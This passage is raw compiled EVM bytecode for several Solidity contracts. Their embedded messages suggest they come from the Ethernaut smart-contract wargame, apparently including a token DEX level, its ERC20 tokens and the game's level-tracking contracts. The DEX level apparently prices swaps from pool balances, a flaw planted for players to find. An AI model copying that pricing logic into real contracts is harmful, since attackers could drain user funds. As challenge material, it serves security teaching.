65b6001600160a01b038116811462000833575f80fd5b5f602082840312156200093a575f80fd5b8135620009478162000914565b9392505050565b5f806040838503121562000960575f80fd5b82356200096d8162000914565b915060208301356200097f8162000914565b809150509250929050565b5f602082840312156200099b575f80fd5b8151801515811462000947575f80fd5b5f60208284031215620009bc575f80fd5b8151620009478162000914565b5f60208284031215620009da575f80fd5b505191905056fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a678061007a5f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c8063bfd7e00d1161007d578063df791e5011610058578063df791e501461017f578063f2fde38b14610192578063f7888aec146101a5575f80fd5b8063bfd7e00d14610138578063cbc7854e14610159578063d21220a71461016c575f80fd5b806356688700116100ad578063566887001461010d578063715018a6146101205780638da5cb5b14610128575f80fd5b8063095ea7b3146100c857806325be124e146100dd575b5f80fd5b6100db6100d6366004610907565b6101b8565b005b6002546100f0906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100db61011b366004610907565b61028a565b6100db61030b565b5f546001600160a01b03166100f0565b61014b61014636600461092f565b61031e565b604051908152602001610104565b6100db610167366004610968565b610408565b6001546100f0906001600160a01b031681565b6100db61018d36600461092f565b61044b565b6100db6101a0366004610999565b610733565b61014b6101b3366004610968565b6107c3565b60015460405163e1f21c6760e01b81523360048201526001600160a01b038481166024830152604482018490529091169063e1f21c67906064015f604051808303815f87803b158015610209575f80fd5b505af115801561021b573d5f803e3d5ffd5b505060025460405163e1f21c6760e01b81523360048201526001600160a01b03868116602483015260448201869052909116925063e1f21c6791506064015f604051808303815f87803b158015610270575f80fd5b505af1158015610282573d5f803e3d5ffd5b505050505050565b610292610837565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd906064016020604051808303815f875af11580156102e2573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061030691906109b2565b505050565b610313610837565b61031c5f610890565b565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa158015610362573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061038691906109d8565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103c8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103ec91906109d8565b6103f690846109ef565b6104009190610a12565b949350505050565b610410610837565b600180546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560028054929093169116179055565b6001546001600160a01b03848116911614801561047557506002546001600160a01b038381169116145b806104a557506002546001600160a01b0384811691161480156104a557506001546001600160a01b038381169116145b6104f65760405162461bcd60e51b815260206004820152600e60248201527f496e76616c696420746f6b656e7300000000000000000000000000000000000060448201526064015b60405180910390fd5b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561053a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061055e91906109d8565b10156105ac5760405162461bcd60e51b815260206004820152601260248201527f4e6f7420656e6f75676820746f2073776170000000000000000000000000000060448201526064016104ed565b5f6105b884848461031e565b6040516323b872dd60e01b8152336004820152306024820152604481018490529091506001600160a01b038516906323b872dd906064016020604051808303815f875af115801561060b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061062f91906109b2565b506040517f095ea7b3000000000000000000000000000000000000000000000000000000008152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303815f875af1158015610693573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106b791906109b2565b506040516323b872dd60e01b8152306004820152336024820152604481018290526001600160a01b038416906323b872dd906064016020604051808303815f875af1158015610708573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072c91906109b2565b5050505050565b61073b610837565b6001600160a01b0381166107b75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104ed565b6107c081610890565b50565b6040516370a0823160e01b81526001600160a01b0382811660048301525f91908416906370a0823190602401602060405180830381865afa15801561080a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082e91906109d8565b90505b92915050565b5f546001600160a01b0316331461031c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104ed565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b0381168114610902575f80fd5b919050565b5f8060408385031215610918575f80fd5b610921836108ec565b946020939093013593505050565b5f805f60608486031215610941575f80fd5b61094a846108ec565b9250610958602085016108ec565b9150604084013590509250925092565b5f8060408385031215610979575f80fd5b610982836108ec565b9150610990602084016108ec565b90509250929050565b5f602082840312156109a9575f80fd5b61082e826108ec565b5f602082840312156109c2575f80fd5b815180151581146109d1575f80fd5b9392505050565b5f602082840312156109e8575f80fd5b5051919050565b808202811582820484141761083157634e487b7160e01b5f52601160045260245ffd5b5f82610a2c57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b57cf9ac90d2bc30df42da4a6d18e47ef75e0abef0fa76269178775c3763545c64736f6c63430008180033608060405234801562000010575f80fd5b5060405162000e3338038062000e3383398101604081905262000033916200023c565b8282600362000043838262000351565b50600462000052828262000351565b5050506200006733826200009160201b60201c565b5050600580546001600160a01b0319166001600160a01b0393909316929092179091555062000443565b6001600160a01b038216620000ec5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f828254620000ff91906200041d565b90915550506001600160a01b0382165f90815260208190526040812080548392906200012d9084906200041d565b90915550506040518181526001600160a01b038316905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126200019f575f80fd5b81516001600160401b0380821115620001bc57620001bc6200017b565b604051601f8301601f19908116603f01168101908282118183101715620001e757620001e76200017b565b816040528381526020925086602085880101111562000204575f80fd5b5f91505b8382101562000227578582018301518183018401529082019062000208565b5f602085830101528094505050505092915050565b5f805f806080858703121562000250575f80fd5b84516001600160a01b038116811462000267575f80fd5b60208601519094506001600160401b038082111562000284575f80fd5b62000292888389016200018f565b94506040870151915080821115620002a8575f80fd5b50620002b7878288016200018f565b606096909601519497939650505050565b600181811c90821680620002dd57607f821691505b602082108103620002fc57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156200017657805f5260205f20601f840160051c81016020851015620003295750805b601f840160051c820191505b818110156200034a575f815560010162000335565b5050505050565b81516001600160401b038111156200036d576200036d6200017b565b62000385816200037e8454620002c8565b8462000302565b602080601f831160018114620003bb575f8415620003a35750858301515b5f19600386901b1c1916600185901b17855562000415565b5f85815260208120601f198616915b82811015620003eb57888601518255948401946001909101908401620003ca565b50858210156200040957878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156200043d57634e487b7160e01b5f52601160045260245ffd5b92915050565b6109e280620004515f395ff3fe608060405234801561000f575f80fd5b50600436106100cf575f3560e01c806370a082311161007d578063a9059cbb11610058578063a9059cbb1461019e578063dd62ed3e146101b1578063e1f21c67146101e9575f80fd5b806370a082311461015b57806395d89b4114610183578063a457c2d71461018b575f80fd5b806323b872dd116100ad57806323b872dd14610126578063313ce567146101395780633950935114610148575f80fd5b806306fdde03146100d3578063095ea7b3146100f157806318160ddd14610114575b5f80fd5b6100db6101fe565b6040516100e8919061083c565b60405180910390f35b6101046100ff3660046108a3565b61028e565b60405190151581526020016100e8565b6002545b6040519081526020016100e8565b6101046101343660046108cb565b6102a7565b604051601281526020016100e8565b6101046101563660046108a3565b6102ca565b610118610169366004610904565b6001600160a01b03165f9081526020819052604090205490565b6100db610308565b6101046101993660046108a3565b610317565b6101046101ac3660046108a3565b6103c5565b6101186101bf366004610924565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6101fc6101f73660046108cb565b6103d2565b005b60606003805461020d90610955565b80601f016020809104026020016040519081016040528092919081815260200182805461023990610955565b80156102845780601f1061025b57610100808354040283529160200191610284565b820191905f5260205f20905b81548152906001019060200180831161026757829003601f168201915b5050505050905090565b5f3361029b818585610440565b60019150505b92915050565b5f336102b4858285610597565b6102bf858585610627565b506001949350505050565b335f8181526001602090815260408083206001600160a01b038716845290915281205490919061029b908290869061030390879061098d565b610440565b60606004805461020d90610955565b335f8181526001602090815260408083206001600160a01b0387168452909152812054909190838110156103b85760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f00000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6102bf8286868403610440565b5f3361029b818585610627565b6005546001600160a01b03908116908416036104305760405162461bcd60e51b815260206004820152600f60248201527f496e76616c6964417070726f766572000000000000000000000000000000000060448201526064016103af565b61043b838383610440565b505050565b6001600160a01b0383166104bb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0382166105375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600160209081526040808320938616835292905220545f19811461062157818110156106145760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103af565b6106218484848403610440565b50505050565b6001600160a01b0383166106a35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b03821661071f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b0383165f90815260208190526040902054818110156107ad5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260448201527f616c616e6365000000000000000000000000000000000000000000000000000060648201526084016103af565b6001600160a01b038085165f908152602081905260408082208585039055918516815290812080548492906107e390849061098d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161082f91815260200190565b60405180910390a3610621565b5f602080835283518060208501525f5b818110156108685785810183015185820160400152820161084c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461089e575f80fd5b919050565b5f80604083850312156108b4575f80fd5b6108bd83610888565b946020939093013593505050565b5f805f606084860312156108dd575f80fd5b6108e684610888565b92506108f460208501610888565b9150604084013590509250925092565b5f60208284031215610914575f80fd5b61091d82610888565b9392505050565b5f8060408385031215610935575f80fd5b61093e83610888565b915061094c60208401610888565b90509250929050565b600181811c9082168061096957607f821691505b60208210810361098757634e487b7160e01b5f52602260045260245ffd5b50919050565b808201808211156102a157634e487b7160e01b5f52601160045260245ffdfea2646970667358221220afef22fd752b83761ebdc5d9105b781bc6a6b1dc6a16170befd4ad86594251b364736f6c63430008180033a2646970667358221220a76b0d7b060548b53dc7f7c2ae20289d815428ea8e136584a9443d1a65f9fbc664736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c56